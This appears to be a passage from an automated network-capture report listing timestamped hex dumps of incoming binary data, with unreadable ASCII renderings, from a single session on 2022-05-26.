da 7b bf bf 7e e0 bd b5 be fe 9e ea f5 86 be 96 4a 6b b7 a1 62 93 2a 64 4f 8f 66 07 cb d1 ec ae c8 a7 c5 bf ba e1 b3 f4 be 
ff 00 77 72 db 7a 68 12 63 ce 34 09 91 c0 54 d0 63 87 53 4f 93 a7 74 af f1 2b 1b 7b 74 b1 f5 18 d6 90 a6 83 c3 17 a5 17 
83 9e f7 7c b2 49 74 91 aa 68 4f 1e 78 a2 ab 58 11 
Data Ascii: vdsL.+3Fg*?S*loj=`8waHH(6h OTnu%{bX[Ml0'z?n^wm*IQchVm9uP?P{~Jkb*dOfwrzhc4TcSOt+{t|IthOxX

2022-05-26 11:47:00 UTC 9984 IN Data Raw: 39 72 55 6e ba 73 95 6b 3b 98 3a 80 2a 00 8d 24 d6 78 66 27 b3 89 c7 4d 36 aa b9 23 b2 62 0f 74 75 ff 00 16 
9f 4e d6 c5 f4 3f bc 18 30 78 72 fc 72 c2 7c af fe e7 29 c7 d8 e7 ad 5a 2e 2e dd da 0a b2 3d b0 66 a6 40 f0 e1 8e 2a d6 
d3 ca 63 ac 8a db b8 bb 7b ad 72 db db bf 69 93 4c 5e 56 3a 26 a1 80 5c c8 23 8d 22 84 46 3b f4 db 19 40 58 7e a5 d9 
dd 6e da 3a c5 bb de ad db 8d a9 99 dc cb 56 a4 77 52 9d 91 8e ca e7 0d 1d 39 59 46 f7 a2 ef 77 37 54 6e 58 97 ba 21 
b4 b1 e3 22 73 cb df 84 bd 23 c1 e9 7c 7d bd 96 4d 7b 75 93 6e d0 dc 59 0f 97 fc 4b 04 13 20 50 9a 8c cd 71 35 4e b9 48 
e8 6f c4 96 d6 c5 ad d2 9d c6 df 70 d2 54 16 4b 8d 05 62 b9 81 50 31 9b 68 0d 1d 4b 7e ac 3e c4 9f 34 87 2c 3e 7a f1 1c 
bf 3c 2a b3 e4 16 ac e0 ae ff 00 19 fe 32 e1 df 03 6d 6e ea 63 
Data Ascii: 9rUnsk;:*$xf'M6#btuN?0xrr|)Z..=f@*c{riL^V:&\#"F;@X~n:VwR9YFw7TnX!"s#|}M{unYK Pq5NHopTKbP
1hK~>4,>z<*2mnc

2022-05-26 11:47:00 UTC 10000 IN Data Raw: 20 f6 f2 01 41 1c bf 19 e1 6f 90 ac 1e 5b 2b 74 05 74 56 8a 41 e1 8d 2b 86 61 d0 8c 80 95 30 07 fa 4c e0 a0 36 
74 dd 9e f9 83 34 18 68 91 4f 12 63 52 a8 80 68 58 fe 58 1d 4d 23 b6 d1 5e 1b 52 8a d4 c9 f8 7f 5c 2c b1 90 63 b8 5b 5e 
4f 54 99 e1 3f d3 19 7e 06 64 46 ed 0f 0a ff 00 e0 32 e7 c3 05 d3 f2 02 b0 23 7d 41 d0 66 0e 50 09 18 d1 1e a1 9f 22 af 71 
41 d3 10 4e 54 ae 09 b0 0d ed b3 80 74 f0 e3 18 12 18 17 65 b8 b9 65 39 0c 6e 4c a1 12 b7 7e e5 96 a7 96 6a c2 64 9e 
fe cc 2b a2 63 49 27 70 c2 16 87 87 67 1a 61 7a 85 0a ad c5 59 37 49 03 2f 2a d7 2a d3 f3 c0 ed 06 80 a2 fa b8 16 cb 04 
27 23 52 2b c4 c6 0f 3c 02 63 91 bf 53 d0 60 79 09 05 d4 8f 60 12 6b db 85 e4 3c 0a dc dc 33 ce e1 7c c4 91 93 09 9e e8 
18 56 9f e2 74 56 f4 e3 8f af c4 1b 6e ae b5 32 03 98 
Data Ascii:  Ao[+ttVA+a0L6t4hOcRhXXM#^R\,c[^OT?~dF2#}AfP"qANTtee9nL~jd+cI'pgazY7I/**'#R+<cS`y`k<3|VtVn2

2022-05-26 11:47:00 UTC 10007 IN Data Raw: 2c 8e 1d a3 8e 29 45 0a 3c 0d 68 a7 1c f9 fb 1d bf 7f 7d b2 3f 4f a9 5a e3 2e a1 9e b5 52 3b 28 0f 08 cc 63 2d 
1a ed fc 9a c7 a7 82 b6 76 aa 89 96 67 9d 5a eb fd 4d db 24 86 3a 49 70 66 99 e7 8e d7 65 5a f5 4f f4 39 61 b7 2c ee eb 
a5 db 56 57 b3 e9 a9 30 4a 38 f9 87 7f 09 c4 b5 fc 97 6c 39 fc 43 6a fa 0b 6c b6 96 ae 6e b7 8b 71 06 92 96 f4 c6 6a d1 
48 3c 86 74 c3 3d ad 24 6e b8 15 bb 68 a7 ff 00 ab 90 07 ba f7 14 32 e6 7c be 69 27 3a 47 2c 74 d2 ea cb b3 06 bf b1 64 
37 21 03 2d d6 58 00 30 72 7c a0 e7 c8 9a e3 9b 65 27 28 a5 94 14 d6 ee 9b c9 72 ea e9 67 d5 01 b2 8a 0e 5c f8 62 d1 
0c 14 cb 32 b6 f6 1a 37 0f 76 e3 0d 62 e8 22 bc 0f 23 ce 72 c7 67 b9 88 27 b3 0c dc bd d1 76 de 8b e4 03 04 d0 c4 28 3c 
32 81 8e 35 58 e0 8b 96 ca 53 68 5e d4 6f 3c 90 46 93 20 
Data Ascii: ,)E<h}?OZ.R;(c-vgZM$:IpfeZO9a,VW0J8l9CjlnqjH<t=$nh2|i':G,td7!-X0r|e'(rg\b27vb"#rg'v(<25XSh^o<F 

Timestamp
kBytes
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2022-05-26 11:47:00 UTC 10023 IN Data Raw: a7 56 ef 51 2f 49 e0 ca ba 35 a6 d6 40 0b 55 52 14 79 c8 ed 5f 94 f7 e2 e9 a6 25 a6 a3 06 f6 ea f3 2f d7 b6 b8 
1e 52 c6 40 04 f1 07 e3 8c a8 ab c1 3f fb 0d b3 59 d3 7a 77 4b ea 29 e8 ef 16 e2 ee 88 03 50 60 27 91 11 91 f6 e3 9e db 
6d 53 ab 5b 56 fc 47 6e fd b7 73 a5 28 dd ed b7 37 2f 58 b4 43 1f 34 5d b5 5c d4 8a 9e dc 0a ee 56 7e 8c ea 4b 06 27 a9 
75 10 97 8d db 49 ea 21 20 98 07 cd 3c 8e 73 f1 e3 8b d2 98 15 ed ea f0 38 54 a5 93 7a ea dc b4 16 75 ab 09 2a 47 06 
19 83 5c 27 92 ad e2 5a 29 87 5a fa 73 aa c1 2e b2 7e 5c b3 ff 00 49 c5 fd a6 f9 39 6d 7a be 0d 5f db 7d 43 63 d5 d6 e9 
b8 85 2f db d2 4d 73 a9 a6 93 c2 9c 2b 88 6d ad a8 26 19 a8 b0 a8 cc cd b6 64 60 82 4a 42 cf bc 6a 24 63 9d b6 b9 19 29 
0a 97 16 e3 0b d7 75 0d aa c7 a8 fa 56 14 1c 84 c0 1a a7 
Data Ascii: VQ/I5@URy_%/R@?YzwK)P`'mS[VGns(7/XC4]\V~K'uI! <s8Tzu*G\'Z)Zs.~\I9mz_}Cc/Ms+m&d`JBj$c)uV

2022-05-26 11:47:00 UTC 10039 IN Data Raw: d9 6c 3e e1 dd 74 27 03 a6 32 8b 62 e3 1b 6b 77 4b 12 62 0a b8 34 2a 46 62 34 9c c0 e5 cf 7d 2a fc 9d 34 6e 
9c 1f a6 3f eb df fb 15 ba 8c ec 3a 92 db b3 7b 48 75 59 10 41 a9 d3 11 41 c7 94 e3 cf dd af a7 dd 1e af c7 b7 7e 4f b2 da 
ea 7b 65 b6 7e a8 3d 88 10 66 80 93 c1 48 ce 47 23 8e 67 ad f8 3b 52 af 90 0f f7 0e cf 67 70 db 4b b6 3d 4c d9 75 0d 43 
50 c8 f7 8e 39 72 c0 f6 ec c7 ab a8 b3 fd c2 57 52 db 79 6c d6 6a be d1 ec c2 fb 76 43 f6 af 93 17 bb ff 00 b6 76 dd 27 aa 
5d e9 9d 60 7a 1b 54 55 22 fb 35 15 98 02 66 91 a7 b7 9e 1e ba 6d 6c a2 57 db 4a f2 21 ba ff 00 bd 7e da b4 ae 76 bb a5 
dc 32 be 92 a9 e5 93 e3 9f 64 0f 66 2e be 36 cf 43 92 df 27 5a e1 c9 75 f6 ef fd 87 d3 fe e1 dc 9d 82 86 db ee 33 b4 ac c1 
8b 8e cd 24 fb 0c 76 61 5d 1d 45 56 ad df a1 f4 
Data Ascii: l>t'2bkwKb4*Fb4}*4n?:{HuYAA~O{e~=fHG#g;RgpK=LuCP9rWRyljvCv']`zTU"5fmlWJ!~v2df.6C'Zu3$va]EV

2022-05-26 11:47:00 UTC 10047 IN Data Raw: 77 67 26 a5 3b bc 70 17 62 ee 8d 73 51 2b 3a 80 03 3a 52 22 69 8e b7 ad 78 3b e3 c1 71 6d ca db 17 03 2e 
88 d5 9d 62 62 7d bd 98 97 49 f0 26 cb 74 52 d9 2d be e8 35 c3 ea 47 a6 c0 48 14 f2 ff 00 4c 0b 6a 84 47 5e ce ef 0c fb 2f 
d9 9d 22 ce ec 5f de 6d b7 3e 85 b4 46 5d 4c e0 1b 44 8f df 48 82 b2 0f b8 ea c7 8b f3 be 47 48 4d 4f f7 3b f5 d1 be 45 6f 
6d f6 97 b7 06 f5 87 b4 88 74 85 01 3c aa b1 1c 40 24 ce 46 70 eb 6d a2 32 32 a1 5f 73 a6 a0 75 bd 70 32 ec e4 fa 90 00 
66 35 a8 3c 70 29 f2 d6 6b e7 fa 1a f4 75 52 73 73 b5 17 97 d4 db 6e 80 69 2f 0d 41 c8 78 01 cb 15 a6 c6 b9 47 3a db 26 
57 74 7c da 41 d5 73 22 67 54 f6 83 8e fa 19 b8 14 17 d9 95 ac 3c 90 48 82 45 67 bc 62 9d 3c a3 2b fa 82 0d e9 54 af 94 
9c e4 cf b0 e0 59 76 1d 38 1c da 6e 7d 2b 57 36 82 4d 
Data Ascii: wg&;pbsQ+::R"ix;qm.bb}I&tR-5GHLjG^/"_m>F]LDHGHMO;Eomt<@$Fpm22_sup2f5<p)kuRssni/AxG:&Wt|A
s"gT<HEgb<+TYv8n}+W6M

2022-05-26 11:47:00 UTC 10063 IN Data Raw: d8 ea 6f 77 70 cd e9 b0 25 4a d4 45 c1 22 79 00 69 df 8b 2b 4d 70 3d a8 e0 db f4 5e 8f bd dc 14 dc ae 85 b0 
c6 75 12 4e ae e5 3d dd 98 e5 f9 1b aa a5 79 17 56 a7 63 df 79 74 9b fd 13 6c 9b 8b d6 c1 41 72 41 5a 06 30 4c 12 00 20 
7e 38 63 9f e1 fc 85 b2 d0 8e 87 ad d0 c6 74 ee 8c 3a fd ab fb 97 d0 2e 22 83 69 8b 69 55 60 2a 26 62 39 cf 1e 38 eb be 
f7 a6 cb ee 73 ed af 7c 16 fd 19 2c 6d 2c 8e 99 eb 33 ee 81 67 67 50 7d 35 62 04 0f 30 93 51 14 8c f8 e1 77 be ef b2 58 
fd c5 a6 9e 88 8e ed 1a d7 fc 0d ae e0 07 51 02 40 83 34 0c 32 ed 89 9c 2d 6e 87 ad 5b 2c f6 f7 6f 6e de dd bb ed e4 31 
aa 40 52 4f 12 a2 27 c7 94 e1 2e 92 41 ad 1b 3e 9b d3 fa 05 fe a5 b5 b7 d5 b6 e9 6c 59 5d c1 b6 ad ea 4b 96 15 d2 01 15 
39 50 70 1c 6b 1e 5d fe 4a d6 fa bf 4e 07 7a fc fa 1a ff 
Data Ascii: owp%JE"yi+Mp=^uN=yVcytlArAZ0L ~8ct:."iiU`*&b98s|,m,3ggP}5b0QwXQ@42-n[,on1@RO'.A>lY]K9Ppk]JNz

2022-05-26 11:47:00 UTC 10079 IN Data Raw: 5a 2d e9 a9 3f 30 14 cc e5 1e f1 89 5b 43 94 5a b1 63 e6 dd 4b ac 20 74 4d 8a fa b7 94 19 95 14 24 46 5c 4c 
7e b8 ee d7 ab d4 45 82 fb ed fe 93 af 6a fb ae a8 e4 68 60 12 ca 91 33 dc 4c 67 9c 7b 71 0d d7 cc 55 19 d9 25 96 37 b8 
db ae e5 c0 b1 61 c4 41 8d 55 23 8c 00 0c d3 3c 0a da 16 59 cb 7b cf 05 be c2 ef 4d bb b6 44 b1 6c da ea 1a 88 f5 5c 90 
cb 53 1d eb a6 99 cf 11 cf 10 d8 ef 5b 67 2b f6 0d 28 ad f8 9b 6e 9f 63 7f 7f 6d 73 7b bb 01 ae 42 95 30 40 d3 58 89 1a 88 
22 98 e7 db b2 96 70 99 4a 2b 53 85 82 a6 e7 44 3d 4e e9 de b3 02 18 12 a2 09 1e df 1c 4d 6f e8 a0 ea 75 96 54 27 46 
7b 57 bd 1b 36 89 b9 f3 05 d4 04 01 c8 9a 4f 2c 5a db fb 29 02 a4 38 15 eb 03 7d b4 7b 1d 3e ce d5 ad b0 b8 97 0d c6 12 
1b 49 c9 63 cb ce 64 f6 f1 c3 68 eb 0d b6 33 4d 0e 9b b7 
Data Ascii: Z-?0[CZcK tM$F\L~Ejh`3Lg{qU%7aAU#<Y{MDl\S[g+(ncms{B0@X"pJ+SD=NMouT'F{W6O,Z)8}{>Icdh3M

2022-05-26 11:47:00 UTC 10087 IN Data Raw: 25 be 62 66 49 e7 85 03 a9 eb 96 55 4f a7 e6 24 47 09 1d d3 c3 1a 70 6e 83 56 6c ad c5 00 79 34 c9 cc 47 ea 
70 8f 05 2a a0 76 f5 cb 65 18 ba e9 02 2a 07 e3 c7 08 c2 d9 4c d7 0d d5 37 2d 98 02 8a 38 f2 c3 ac 02 64 b8 db 00 fb 74 
74 70 5f 80 00 d4 9a 40 a0 13 84 b3 87 25 2b 59 38 2c 3d b0 55 54 b3 10 64 f0 ed ec c1 34 93 b7 b7 8b 9a 06 a8 51 22 
2b e3 80 d8 f5 3b 76 ca 5d 70 86 74 d0 f2 c0 4d d4 0f 23 a9 61 9c 68 20 0e 20 31 00 44 4e 66 06 59 7b 06 33 01 5e c8 55 
b4 8f 94 4f b7 06 46 4c e2 ad a4 92 c4 01 14 af 3c 86 04 8c 4a e6 ab 64 aa ab 08 a1 27 39 c3 08 17 6f 67 d3 63 33 e6 91 
49 02 3e 38 d6 60 3f ff d7 fe 3d df b7 6e f1 0b 6d 58 ea 81 04 ea 62 69 97 7f 66 3c f5 2c bf 04 7a b5 e7 bb b7 7f a6 84 5f 
56 db 0d 5c 3c 84 48 1d b9 0c 0d 75 c9 be 4d a2 a6 6c 6e 
Data Ascii: %bfIUO$GpnVly4Gp*ve*L7-8dttp_@%+Y8,=UTd4Q"+;v]ptM#ah  1DNfY{3^UOFL<Jd'9ogc3I>8`?=nmXbif<
,z_V\<HuMln

2022-05-26 11:47:00 UTC 10103 IN Data Raw: cd b1 22 c0 a4 90 1a 00 32 27 bb bf 17 71 11 62 ce de 86 ef ed ad d6 e3 a8 9f a2 3b 9d 3a a4 1b d7 9f 45 b5 
51 e6 20 b0 a8 03 97 b3 1e 5f cd b2 a7 f2 8f c9 29 6c 35 ab b3 35 bb cb 17 77 5d 27 77 b0 da ee ac 35 a7 54 56 5b 24 b0 
72 a7 50 65 62 00 f2 89 9e de fc 72 6b dc ad 7a d9 d5 a7 f7 c4 7e 5f 71 dd 71 ca 3e 11 b6 7b 9b 16 16 d6 e3 58 d2 49 d5 
68 ea 62 54 f6 65 d8 72 c7 b7 64 ac b3 93 99 a3 eb 9d 01 17 7f 65 b7 d6 cb 6b 02 1b 58 83 95 72 1e 38 f1 be 55 e1 f5 16 
da fb 60 bb dc bd 86 51 b6 ea 97 34 ab 8d 0b 35 92 60 f1 a7 09 af 2c 79 be cd ab fc a8 a4 85 74 da 8f 2e 72 63 ba e7 49 
5e 8d b8 57 db 6e 0e e2 d5 f5 67 d4 40 91 5e cc c7 23 94 77 63 d7 ff 00 cc f9 56 f9 14 6a ca 1a fa fa 47 a7 49 59 30 5f 77 
ed d6 e6 df 6b d6 6d 01 eb b1 6b 37 64 66 54 92 b1 90 
Data Ascii: "2'qb;:EQ _)l55w]'w5TV[$rPebrkz~_qq>{XIhbTerdekXr8U`Q45`,yt.rcI^Wng@^#wcVjGIY0_wkmk7dfT

2022-05-26 11:47:00 UTC 10119 IN Data Raw: bc a8 7e 3f 02 bf 1f 63 a4 da ee 3f 13 c9 6f 43 86 be a5 64 1a 10 45 63 f5 e7 80 a1 9d fc 8b ee d1 ef a3 5b 47 
d3 75 98 10 84 a9 0d a7 88 ce 24 53 86 1e ae 39 03 45 1e f3 6f 75 98 6c fd 26 bb 75 40 61 6d 11 99 bd a0 4c 62 9a e6 c7 
3d f6 75 c1 62 35 6d 9c 26 f5 1a d5 b0 34 e9 0c 0f 9a 20 0a 57 3c cf 86 23 b2 87 42 fb 8f 0d c8 b2 19 6d b8 60 c6 64 e7 f9 
f0 ed c4 3a f6 23 64 9f 22 d6 ee de 65 f5 91 24 03 e5 68 34 89 a4 76 f7 57 1d 75 da aa be a4 45 4e ac b1 6d cb ee cf f3 
5a b7 69 c8 27 f8 ad ad b0 72 1f 2a c2 fb 86 21 7c 8c f6 32 16 d0 35 b0 ea e4 a9 39 ce 53 9c 83 c3 02 52 0a 52 23 b8 dc 
5c 17 24 f9 50 69 02 4e a0 00 e1 39 fe 38 e2 ab ad d1 48 f0 44 dc 5b 97 52 e8 94 31 3a 54 11 13 4a 72 e5 84 e0 6a d7 
b1 0d 9d ad c5 e7 fa 80 55 c1 98 65 14 24 41 04 81 c7 
Data Ascii: ~?c?oCdEc[Gu$S9Eoul&u@amLb=ub5m&4 W<#Bm`d:#d"e$h4vWuENmZi'r*!|259SRR#\$PiN98HD[R1:TJrjUe
$A

2022-05-26 11:47:00 UTC 10127 IN Data Raw: 9b 5e 9e 90 91 a4 13 32 be ce 74 c6 59 1a 03 6d fa 7d dd c2 de b4 48 2a 59 1a 14 0d 21 64 c9 26 9c 0e 53 81 
6b aa a0 aa 88 6e f6 b7 36 a4 16 b8 86 85 83 22 9f 67 0a 8e 35 8c 6d 6f b0 ad 34 30 9b 8f 5e cb 99 b9 eb db 59 28 c0 68 
2a 0f 6b 29 cb 20 27 14 83 40 3b 37 46 f3 79 67 6f b6 55 b2 49 0a 9e 99 30 58 0c 8b 5c 27 e6 e7 3d cb 84 6d 07 ae 24 77 
aa 7d 5d 9d bb f5 43 6d 15 2e 5e d0 c8 ae 25 74 93 2a 4c 82 32 ad 04 9e 58 9c fa 14 aa 9c 05 ea db f5 dd b4 fd ba 6e fa 
76 ed 85 b9 a5 0f ee 31 94 93 97 ee 93 c7 21 18 6a 26 8d 4a 25 c9 8d ea 69 ea 39 d3 ea 25 d7 24 b9 96 06 48 83 4e 3f 
8a e0 a9 4f 25 8b e4 45 5d 96 e2 e6 f1 6d bd dd b2 25 9b 4a 09 b6 62 e4 b1 84 00 4c 1f dd c3 2e 38 d0 c8 e2 70 50 fd 55 
92 7d 4d 0e 8c e0 02 11 9d 47 6c 92 67 f2 c3 a4 0e 08 8b cc 
Data Ascii: ^2tYm}H*Y!d&Skn6"g5mo40^Y(h*k) '@;7FygoUI0X\'=m$w}]Cm.^%t*L2Xnv1!j&J%i9%$HN?O%E]m%JbL.8p
PU}MGlg

Timestamp
kBytes
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Direction Data
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2022-05-26 11:47:00 UTC 10143 IN Data Raw: a7 29 39 ce 58 03 c2 3f ff d2 fe 57 6c f7 89 75 88 27 d2 6e d1 4f 0a 63 c3 bd 5a 2e ac 99 67 b7 bc 6d 1d 76 b4 
b1 56 0c 66 19 49 07 91 a1 18 9c b7 86 66 83 ed ef 6d ee ee 8e e7 72 ba 48 10 8a 10 2e ab 84 d2 22 06 95 ad 63 b2 b8 
db 2a d5 21 13 51 39 3e 83 d1 be eb bd f6 ce e2 c7 56 e8 a5 6e 6e e6 f4 07 1f 27 94 a0 3a 78 9a 92 a7 1e 4d 74 b6 dc e2 
14 4f ac ff 00 a1 d3 df ae 42 f5 9f b8 6f ef 6f da 17 6f 25 fd c6 ea 0b dd 2c 6e 3e bc aa 66 9d 94 f6 0a 63 8f 5f c5 f7 3b 5e 
c9 e1 f0 fc 9d 56 f9 3d 21 2f 23 9f e4 5f 71 b7 7b 4b 6d 81 12 1b 99 06 9c 39 f1 a6 39 7f eb 57 5d 93 9f c3 d0 a3 db d9 70 
65 af 74 de 95 75 7e 8b 75 b2 16 d5 54 4b a0 87 1d a5 b8 7b f1 e8 2f 93 b6 ae 6b 62 2a a9 f2 8f 97 6e b6 8d d3 77 77 ba 
6b a0 ba 52 42 90 c1 49 19 82 26 73 5e 78 fa 6f 
Data Ascii: )9X?Wlu'nOcZ.gmvVfIfmrH."c*!Q9>Vnn':xMtOBooo%,n>fc_;^V=!/#_q{Km99W]petu~uTK{/kb*nwwkRBI&s^xo

2022-05-26 11:47:00 UTC 10159 IN Data Raw: 1b e4 d9 6e 60 28 d5 73 4b b2 c9 20 50 98 34 1e fe 58 67 fe 32 3b 52 c6 af b1 fa 86 bb 71 c1 0c 00 67 0f 00 
88 ca bf 97 bf 13 55 c0 27 23 e1 b6 ec e5 e0 7a 62 48 20 b0 80 44 0a d2 0f 68 ca 70 9d 18 fd 86 6c 0d b1 84 b2 b7 ad 30 
81 ac 34 90 b5 10 0c c1 18 dd 1f 96 6e e5 93 5a 6d 3a 59 85 f4 cf 4d e5 15 07 fd ca 4f c3 05 54 0d cf 24 02 dc b0 c8 b6 ef 
5c b6 2b fc 6c 01 56 8c 84 d4 f2 cf 05 54 59 3b 63 79 6f 71 78 02 d6 98 ac 12 42 93 1d 9e 50 47 8e 1b ac 2c 02 53 36 2d 
66 d3 3a ee 2d fa 7a 6e 40 95 88 90 0e 72 31 25 21 62 d6 f6 0d b8 f4 61 16 68 33 8c a7 92 f2 c3 a3 03 1d 3a d1 b8 ea 2f 
1b 7a 78 4c 8e d9 9c bf 19 62 77 41 4b d0 2d ed 92 aa a9 0e b7 51 40 32 a1 a3 be 3b 3b f0 bd 40 dc 15 57 07 a8 8f 64 15 
20 ce 91 a8 99 83 c9 49 8c 2a 04 81 da 5f bc e1 ad 59 
Data Ascii: n`(sK P4Xg2;RqgU'#zbH Dhpl04nZm:YMOT$\+lVTY;cyoqxBPG,S6-f:-zn@r1%!bah3:/zxLbwAK-Q@2;;@Wd 
I*_Y

2022-05-26 11:47:00 UTC 10167 IN Data Raw: a6 44 9c 72 6d f9 7e 12 19 15 97 76 d6 76 cb ae e2 ae a6 90 00 80 de 11 db fd 71 cc b7 da cf 02 75 2a 37 76 
6c ee d4 a0 57 22 09 00 81 3a a7 29 e5 f8 e1 8e bd 4d f2 c1 d7 a8 90 da 5d e9 de 9a dc 72 00 22 e2 aa bc 51 b3 ac 9e 
58 bf f1 b0 1a 63 97 7a d3 5c 33 7a e1 17 48 5d 35 30 54 f0 3d 9c 70 29 a9 55 40 8e bf 60 ef 75 37 bf c0 ca ad 23 57 f2 
73 e4 38 61 92 8c a6 33 ac 9c ff 00 18 c0 4d 9d 08 01 01 94 89 02 7b 60 71 9a 47 0c 65 7f 53 3a 0d 5a e8 af 7a df 96 ea 
0b 96 d8 6a 43 22 9e fe 15 91 db 81 ee 47 81 5d 4e 6d d6 e3 db fa 61 3a 0b 82 34 bc 8e de de 19 e3 5a e3 65 1a 4b b6 
ee 35 a1 69 b4 b8 04 2d 52 b1 95 48 cc d7 bf 8e 39 ab 09 c8 e9 88 2e db d1 b6 a7 42 8b 81 81 52 c8 18 47 fa a0 d2 41 8
c c1 f7 62 eb 7c 70 c0 fe e8 25 ed ba 5f 0c f7 75 dd 60 4b 31 02 
Data Ascii: Drm~vvqu*7vlW":)M]r"QXcz\3zH]50T=p)U@`u7#Ws8a3M{`qGeS:ZzjC"G]Nma:4ZeK5i-RH9.BRGAb|p%_u`K1

2022-05-26 11:47:00 UTC 10183 IN Data Raw: 2c 2a 16 07 68 20 f3 cb 3a e1 f4 fc fa 6e 73 46 9a 4b c7 dc 0f 5b 5c 92 b5 d0 ac 5a 64 77 60 58 92 07 a8 5b 4c 
8a c6 5e 14 91 8b 7b ae dc 22 56 c0 e5 ff 00 b3 1f 7d 72 e7 f8 cb 8a fa 60 e9 7b 8c 1c 98 a9 91 34 9c a4 fb 31 2b 7c b5 
4e 43 55 3c 32 ae ff 00 d9 bb fd b0 2f b9 b0 02 83 0d a6 ea 52 4e 7f 36 5d b8 a2 f9 29 f0 c0 d3 45 d7 4f e9 4d d1 8a 6e 77 
90 88 e0 c8 3a 2a 40 a0 cc 81 d9 a8 01 1f ee 8c 0e ee c0 78 16 ea 7b 87 ba 05 e7 db fd 3e a9 21 c2 be 86 ac e6 cc c2 3b 
a9 86 5f c4 47 64 ca ab 49 ba b9 fc 9b 2d 2c c0 89 20 a8 70 0f 8c fb 30 5b ab 0a 4c ae dc 74 fe a4 d3 68 59 ba 2d 82 5e 
aa da 49 19 99 ee 18 6a da 8b d0 ce 96 7c 48 99 db ee 7d 33 2a e4 7e e2 74 f7 52 6b 87 76 49 85 4c 64 3a 5c f4 42 85 
b8 0e a0 64 68 33 23 db c3 05 36 c3 09 9e b3 ba 56 05 
Data Ascii: ,*h :nsFK[\Zdw`X[L^{"V}r`{41+|NCU<2/RN6])EOMnw:*@x{>!;_GdI-, p0[LthY-^Ij|H}3*~tRkvILd:\Bdh3#6V

2022-05-26 11:47:00 UTC 10199 IN Data Raw: 41 2a f3 10 4b 13 30 66 b5 18 12 32 45 8e d7 6d 76 f2 96 db 13 a0 54 90 ba a9 9f 0e e9 c2 5a d1 c8 d1 e0 b5 
da 1d dd 6d 3a 81 6e b1 aa 01 e7 9c c4 78 e3 ad aa 35 27 3d 55 a6 0b 7b 8a 1d 43 b1 f0 65 19 70 cc cf 76 21 6b 27 84 
59 26 83 6d 6c 59 69 ba 5b 44 54 69 3a 86 5c 63 09 66 ea 3d 52 b0 77 65 bc 45 ba b1 10 aa fa 4a c8 f6 e7 df 83 5c 9a d8 
1a b6 a9 6c c1 06 64 c9 0d 23 f3 fc b1 6a b8 24 d1 3d 17 1e 5e d6 55 99 32 72 ef 18 dd 9b ff 00 11 20 05 cb a5 22 e5 9b 
c5 22 a4 1d 62 4f 61 a8 c2 7b ed e2 7f af fb 8e a9 1e 11 f2 bf ba fe e6 fb d3 6c f7 cf 45 e9 d6 5b 6e 97 34 25 fb bb 95 72 
52 40 37 0a 08 60 22 69 9e 58 14 d9 6b 5b 3c 37 f6 3d 1f fa ba 3d b9 ef fc a2 62 1c 4f a4 9f 6e dc 6d 76 0b d1 6c 75 05 6f 
4f a8 35 ad bd d2 c8 e7 4d cf 51 9e 57 46 4b 01 64 1f 
Data Ascii: A*K0f2EmvTZm:nx5'=U{Cepv!k'Y&mlYi[DTi:\cf=RweEJ\ld#j$=^U2r ""bOa{lE[n4%rR@7`"iXk[<7==bOn
mvluoO5MQWFKd

2022-05-26 11:47:00 UTC 10202 IN Data Raw: bd 8e f2 cb cd 9d da 15 9c 92 74 11 52 25 64 8e d0 48 c3 6e b6 ca 3e 6b 90 56 1f a8 d0 b1 75 db 45 db a2 d2 
9a eb 2a 74 c0 ca 29 c4 cf 0f 66 0f fd 95 13 13 f6 07 49 f2 30 36 1b b0 10 ec 89 ba ae d1 ea 20 57 91 39 81 19 77 f2 c6 af 
cc a7 97 1f 60 3a 3f 05 97 50 e9 0f d1 90 04 bb eb dc 70 0b 29 81 c3 82 8a 98 e7 f0 c4 f5 7c da ec 71 c2 f5 0d b5 b4 60 
b6 7f 6a ae d2 f9 bd b1 64 b7 f5 05 ae 81 74 c0 0c a0 90 a0 11 fb 8d 17 2e 03 1e 8b f9 1d 94 3f 0a 09 2a 43 35 83 73 d4 
36 f6 8e db 7c 11 91 4a b2 82 08 60 40 88 83 cf be 38 8c 79 ca b5 bb c6 07 72 86 2d f5 3b 85 d7 71 a1 ed dd 52 87 5e a1 
c2 20 e6 2b 4c 53 db 87 86 09 2e 76 5b db 56 e2 ee e0 15 99 83 a8 92 64 e5 12 41 f1 9c 73 de 9d 9c 21 a6 39 1a b9 d6 
76 36 a2 d1 b0 6e 31 3f be 01 15 cc 40 e0 72 fe 98 14 f8 
Data Ascii: tR%dHn>kVuE*t)fI06 W9w`:?Pp)|q`jdt.?*C5s6|J`@8yr-;qR^ +LS.v[VdAs!9v6n1?@r

2022-05-26 11:47:00 UTC 10218 IN Data Raw: 37 08 35 28 26 62 e4 b0 8c fc a2 be ec 76 6b b4 e0 d6 50 8d 47 d9 bf 70 6d 14 b6 c7 ab 5b 63 d3 2f 4a df 02 
09 14 f9 d2 47 95 84 66 0d 72 c7 1f cd d4 f9 af 3e 07 d5 7f 5e 0d 77 55 ff 00 af 36 de 93 75 0f b4 98 f5 2d 9a a0 6d 56 c7 
99 41 34 2c a2 73 c9 a6 2b 95 0c 0e 2d 1f fa 2d 5a 36 ff 00 12 97 d7 2b f8 e4 c9 dd d8 6e 52 da ee f7 16 9d 36 f6 40 b4 
a7 49 50 0c 93 04 c0 f3 49 33 c6 3b b1 e8 3b d5 e2 be 72 46 8d d5 e7 81 6b 9f 73 37 4a 3f 43 7e c0 6b 77 56 a4 d0 72 89 
8a 9e 60 e1 35 fc 35 bb f9 4c 40 fb b7 aa 38 14 3d 56 ce e8 68 63 6d 1f 56 85 57 56 d0 48 19 48 3c 3d 98 ba d0 de 3f d0 
6f 71 2c 8b 1d e6 d2 c5 b0 ce c9 71 89 83 6f e5 1c e5 4c 0c a9 3c 70 97 d0 de 17 ea 35 b6 56 3e e4 5b 77 fe 59 43 6d 09 
b3 72 d1 0e ba c1 3f 20 26 26 00 34 e1 84 7a d6 95 36 
Data Ascii: 75(&bvkPGpm[c/JGfr>^wU6u-mVA4,s+--Z6+nR6@IPI3;;rFks7J?C~kwVr`55L@8=VhcmVWVHH<=?oq,qoL<p5
V>[wYCmr? &&4z6

2022-05-26 11:47:00 UTC 10234 IN Data Raw: a8 4a 55 2d 90 0e 47 f7 54 0f 0f 1c 6c be 02 e1 72 5c b7 4d b0 66 e7 a6 aa cd c3 42 c0 ee e5 43 86 ac fe 22 3f 
cc aa 5d ba d8 66 22 dc a8 f9 61 75 8c b3 ae 9a 8f 1c fb 30 7b 87 a0 9f d1 5b b8 ba 8a be a3 32 49 82 41 e6 07 11 ef c6 
